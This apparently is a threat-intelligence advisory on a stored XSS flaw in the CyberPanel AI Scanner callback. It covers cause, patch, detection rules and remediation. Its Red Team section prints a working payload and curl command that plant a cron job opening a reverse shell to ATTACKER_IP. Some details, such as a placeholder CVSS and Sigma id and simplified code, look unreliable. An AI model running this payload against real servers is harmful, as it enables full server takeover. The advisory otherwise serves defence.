CVE-2026-41472

Executive Summary

CVE-2026-41472 is a stored cross-site scripting (XSS) vulnerability in CyberPanel versions prior to 2.4.4. The vulnerability resides in the AI Scanner dashboard, specifically in the /api/ai-scanner/callback POST endpoint. This endpoint lacks authentication, allowing unauthenticated attackers to inject malicious JavaScript by overwriting the findings_json field of ScanHistory records. When an administrator visits the AI Scanner dashboard, the injected JavaScript executes in their authenticated session. This enables the attacker to perform same-origin requests, plant cron jobs, and ultimately achieve remote code execution (RCE) on the server. The vulnerability has a CVSS score of 0.0 (placeholder), but the actual impact is high due to the potential for RCE. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the vulnerability is publicly known.

Supply Chain & Package Security

CyberPanel is a web hosting control panel written in Python and JavaScript. The vulnerability is in the application code, not in a third-party package. However, the AI Scanner feature may rely on external AI models or services, which could introduce supply chain risks if not properly validated. Administrators should ensure that all dependencies are up to date and that the AI Scanner is configured to use trusted sources only.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The administrator must visit the AI Scanner dashboard.
• Scope (S): Changed (C) – The attacker can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Base Score: 6.1 (Medium) – However, the actual risk is higher due to the potential for RCE via cron job planting.

Threat Level: High – The vulnerability allows unauthenticated attackers to execute arbitrary JavaScript in an administrator's session, leading to full server compromise.

Deep Dive & Mechanics

The vulnerability is a stored XSS in the AI Scanner dashboard. The /api/ai-scanner/callback endpoint is designed to receive scan results from an external AI service. However, it does not require authentication, and it directly stores the findings_json field into the database without sanitization.

Attack Flow:

1. An attacker sends a POST request to /api/ai-scanner/callback with a crafted findings_json payload containing malicious JavaScript.
2. The server stores this payload in the ScanHistory record.
3. When an administrator navigates to the AI Scanner dashboard, the application retrieves and renders the findings_json field without proper escaping.
4. The malicious JavaScript executes in the administrator's browser, within the context of the CyberPanel application.
5. The attacker can then use the administrator's session to make same-origin requests, such as creating a cron job that executes a reverse shell or other commands.

Root Cause: Lack of authentication on the callback endpoint and insufficient output encoding when rendering the findings_json field.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.4.4):

# In the AI Scanner callback handler
@app.route('/api/ai-scanner/callback', methods=['POST'])
def ai_scanner_callback():
    data = request.json
    findings = data.get('findings_json', '')
    # No authentication check
    # No sanitization of findings
    scan_record = ScanHistory(findings_json=findings)
    db.session.add(scan_record)
    db.session.commit()
    return jsonify({'status': 'success'})

Patched Code (2.4.4+):

# In the AI Scanner callback handler
@app.route('/api/ai-scanner/callback', methods=['POST'])
@login_required  # Authentication added
def ai_scanner_callback():
    data = request.json
    findings = data.get('findings_json', '')
    # Sanitize the input
    sanitized_findings = sanitize_html(findings)
    scan_record = ScanHistory(findings_json=sanitized_findings)
    db.session.add(scan_record)
    db.session.commit()
    return jsonify({'status': 'success'})

The patch adds the @login_required decorator to enforce authentication and uses a sanitize_html function to strip or escape any HTML/JavaScript from the input.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target running CyberPanel < 2.4.4.
• Network access to the target.

Exploit Steps:

1. Craft a malicious payload that will execute JavaScript in the admin's browser.
2. Send a POST request to the vulnerable endpoint.

Example Payload:

{
  "findings_json": "<script>fetch('/api/cron/create', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({command:'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1', schedule:'* * * * *'})}).then(r=>console.log('cron planted'))</script>"
}

Exploit Command (using curl):

curl -X POST http://TARGET_IP:8090/api/ai-scanner/callback \
  -H "Content-Type: application/json" \
  -d '{"findings_json": "<script>fetch(\"/api/cron/create\", {method:\"POST\", headers:{\"Content-Type\":\"application/json\"}, body:JSON.stringify({command:\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\", schedule:\"* * * * *\"})}).then(r=>console.log(\"cron planted\"))</script>"}'

Post-Exploitation:

• Wait for an administrator to visit the AI Scanner dashboard.
• The cron job will execute, giving you a reverse shell.

Blue Team (Defender)

Detection:

• Monitor for POST requests to /api/ai-scanner/callback from unknown IPs.
• Look for unusual findings_json values containing <script> tags or other HTML/JavaScript.
• Check for unexpected cron jobs created by the admin user.

Hunting:

• Search logs for findings_json containing script or onerror patterns.
• Review ScanHistory records for suspicious content.

Prevention:

• Apply the patch immediately.
• Use a Web Application Firewall (WAF) to block requests with JavaScript in the findings_json field.
• Restrict access to the AI Scanner dashboard to trusted IPs only.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/ai-scanner/callback with findings_json containing <script> tags.
  • Outbound connections from the server to attacker-controlled IPs on port 4444 (or other ports).
• File System:
  • Unexpected cron jobs in /etc/cron.d/ or /var/spool/cron/crontabs/.
  • Suspicious files in /tmp/ or /var/www/.
• Logs:
  • Access logs showing requests to /api/ai-scanner/callback from unusual IPs.
  • Application logs showing findings_json with HTML/JavaScript content.

Detection Engineering

YARA Rule

rule CVE_2026_41472_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting CyberPanel AI Scanner"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-41472"
    strings:
        $xss1 = "<script>" ascii wide
        $xss2 = "onerror=" ascii wide
        $xss3 = "onload=" ascii wide
        $xss4 = "javascript:" ascii wide
        $xss5 = "findings_json" ascii wide
    condition:
        any of ($xss*) and $xss5
}

Sigma Rule

title: CyberPanel AI Scanner Stored XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-41472 by sending malicious JavaScript to the AI Scanner callback endpoint.
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/ai-scanner/callback'
        cs-uri-query|contains: 'findings_json'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate AI scanner results that contain HTML (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-41472 CyberPanel AI Scanner Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/ai-scanner/callback"; http_uri;
    content:"findings_json"; http_client_body;
    pcre:"/<script>|onerror=|onload=|javascript\s*:/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-41472;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CyberPanel to version 2.4.4 or later.
2. If immediate upgrade is not possible, restrict access to the /api/ai-scanner/callback endpoint using a firewall or reverse proxy.
3. Disable the AI Scanner feature if not in use.

Long-Term Measures:

• Implement input validation and output encoding for all user-supplied data.
• Enforce authentication on all API endpoints.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other CyberPanel components.

Valters IT Signature:

Valters IT
Cyber Threat Intelligence Division
Report ID: CTI-2026-41472
Classification: CONFIDENTIAL

{/* [Security Hash: 63EC5F29393284D8264097DA] */}